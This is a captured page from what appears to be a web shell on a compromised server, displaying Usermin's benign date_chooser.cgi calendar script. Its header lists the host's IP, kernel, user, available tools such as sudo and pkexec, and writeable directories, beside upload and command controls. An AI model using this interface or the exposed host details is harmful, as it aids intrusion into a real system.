Private
Server IP : 195.201.23.43  /  Your IP : 3.15.22.62
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/usermin/date_chooser.cgi
#!/usr/bin/perl
# date_chooser.cgi
# Display a table of days in the current month

BEGIN { push(@INC, "."); };
use WebminCore;
use Time::Local;

&init_config();
&ReadParse();

@daysin = ( 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 );
$daysin[1] = $in{'year'}%400 == 0 ? 29 :
	     $in{'year'}%100 == 0 ? 28 :
	     $in{'year'}%4 == 0 ? 29 : 28;

@tm = localtime(time());
if ($in{'day'} !~ /^\d+$/ || $in{'day'} < 1 || $in{'year'} !~ /^\d+$/) {
	$in{'day'} = $tm[3];
	$in{'month'} = $tm[4];
	$in{'year'} = $tm[5]+1900;
	}
if ($in{'day'} > $daysin[$in{'month'}]) {
	$in{'day'} = $daysin[$in{'month'}];
	}
$tm = timelocal(0, 0, 12, $in{'day'}, $in{'month'}, $in{'year'});

&popup_header($text{'chooser_date'});
$uday = &urlize($in{'day'});
$umonth = &urlize($in{'month'});
$uyear = &urlize($in{'year'});
print <<EOF;
<script>
function newmonth(m)
{
location = "date_chooser.cgi?day=$uday&month="+m.selectedIndex+"&year=$uyear";
}
function newyear(y)
{
location = "date_chooser.cgi?day=$uday&month=$umonth&year="+(y.selectedIndex+$in{'year'}-10);
}
function newday(d)
{
opener.dfield.value = d;
opener.mfield.selectedIndex = $umonth;
opener.yfield.value = $uyear;
close();
}
</script>
<form><table border width=100%>
<tr> <td colspan=7 align=center><select name=year onChange='newyear(this)'>
EOF
for($i=$in{'year'}-10; $i<=$in{'year'}+10; $i++) {
	printf "<option %s>%s</option>\n",
		$i == $in{'year'} ? 'selected' : '', $i;
	}
print "</select> <select name=month onChange='newmonth(this)'>\n";
for($i=0; $i<12; $i++) {
	printf "<option value=%s %s>%s</option>\n",
		$i, $i == $in{'month'} ? 'selected' : '',
		$text{"month_".($i+1)};
	}
print "</select></td> </tr>\n";

print "<tr>\n";
for($i=0; $i<7; $i++) {
	print "<td><b>",$text{"sday_$i"},"</b></td>\n";
	}
print "</tr>\n";

@first = localtime($tm - ($in{'day'}-1)*24*60*60);
$count = -$first[6] + 1;
for($y=0; $y<6; $y++) {
	print "<tr>\n";
	for($x=0; $x<7; $x++) {
		if ($count < 1 || $count > $daysin[$in{'month'}]) {
			print "<td align=center></td>\n";
			}
		else {
			printf "<td align=center %s><a href='' onClick='newday($count)'>%s</a></td>\n", $in{'day'} == $count ? $cb : '', $count;
			}
		$count++;
		}
	print "</tr>\n";
	}
print "</table></form>\n";
&popup_footer();

Private